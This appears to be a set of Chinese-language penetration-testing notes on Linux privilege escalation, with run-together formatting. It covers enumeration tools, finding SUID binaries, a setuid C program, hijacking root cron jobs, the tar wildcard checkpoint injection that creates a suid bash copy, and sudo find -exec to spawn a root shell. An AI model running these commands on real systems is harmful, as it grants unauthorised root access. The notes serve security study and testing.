https://github.com/liamg/traitor自动化探测漏洞并且尝试提权工具，也会进行一些信息收集，但是漏洞库数量较少不带参数运行寻找可能存在的漏洞带-a参数运行寻找漏洞并尝试执行，如果已知当前用户密码可以加-p参数

https://github.com/rebootuser/LinEnum可以对linux主机进行一个综合信息探测，扫描linux上是否存在配置问题可以利用，例如版本，定时任务，权限，环境变量等等，可以方便我们快速的确认当前可以提权的方式

https://github.com/The-Z-Labs/linux-exploit-suggester漏扫脚本，查看是否有可以利用的漏洞

https://github.com/jondonas/linux-exploit-suggester-2漏扫脚本，查看是否有可以利用的漏洞

https://github.com/AlessandroZ/BeRootBeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法。

find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -print  2>/dev/null

NmapVimfindBashMoreLessNanocp

touch pentestlabfind pentestlab -exec whoami \;

https://pentestlab.blog/2017/09/25/suid-executables/

 命令别名（alias）：首先会检查是否存在与命令名称匹配的别名，如果有，则执行别名对应的命令。 用户自定义的函数（如果存在）：如果用户在当前 Shell 中定义了与命令名称相同的函数，则会执行该函数。 内建命令（built-in）：Linux Shell 提供了一些内建命令，例如 `cd`、`echo` 等。如果命令是内建命令，则会执行内建命令。 按照 PATH 环境变量中的顺序搜索可执行文件：如果以上步骤都不匹配，那么会按照环境变量 PATH 中指定的路径顺序搜索可执行文件。PATH 环境变量包含一系列用冒号分隔的目录路径。从左到右依次搜索这些路径，找到匹配的第一个可执行文件后执行。

#include<unistd.h>#include<stdlib.h>void main(){    setuid(0);    setgid(0);    system("ps");
}

gcc mytest.c -o mytest在root权限下编译输出mytest可执行文件chmod u+s mytest    使用该命令赋予mytest  **suid**执行权限让mytest执行时候自动以管理员权限执行使用find / -perm -u=s -type f 2>/dev/null寻找具有suid权限的程序

有root权限执行的定时任务有权限修改root权限执行的定时任务

vim /etc/crontab

*/1 * * * * root /usr/bin/python3 /root/test/cleanup.py

import osimport systry:    os.system('rm -r /root/add/*')except:    sys.exit()

 find `which find` -exec whoami \;

nano /etc/crontab*/1 *   * * *   root cd/root/add;tar -zcf /root/back/add.tgz *

echo "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.shchmod +x test.sh

tar -zcf /root/back/add.tgz --checkpoint=1tar -zcf /root/back/add.tgz --checkpoint-action=exec=sh test.sh

nano /etc/crontab*/1 *   * * *   root tar -zcf /root/back/add.tgz /root/add/*

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >test.shecho "" > "--checkpoint-action=exec=sh test.sh"echo "" > --checkpoint=1tar cf archive.tar *

root ALL=(ALL:ALL) ALL ：允许用户root在任何主机上以任何用户身份（ALL:ALL）执行任何命令。这授予了最高的权限。
%admin ALL=(ALL) ALL ：允许属于admin组的用户在任何主机上以任何用户身份执行任何命令。这是通过%admin表示组权限，ALL表示可以在任何主机上执行，(ALL) ALL表示可以以任何用户身份执行任何命令。
%sudo ALL=(ALL:ALL) ALL ：允许属于sudo组的用户在任何主机上以任何用户身份执行任何命令。与admin组的权限相似，这里也使用了%sudo表示组权限。

sudo find /home -exec whoami \; ,可以看到获得的是root用户

sudo find /home -exec bash \; 或者直接调用bash来获取shell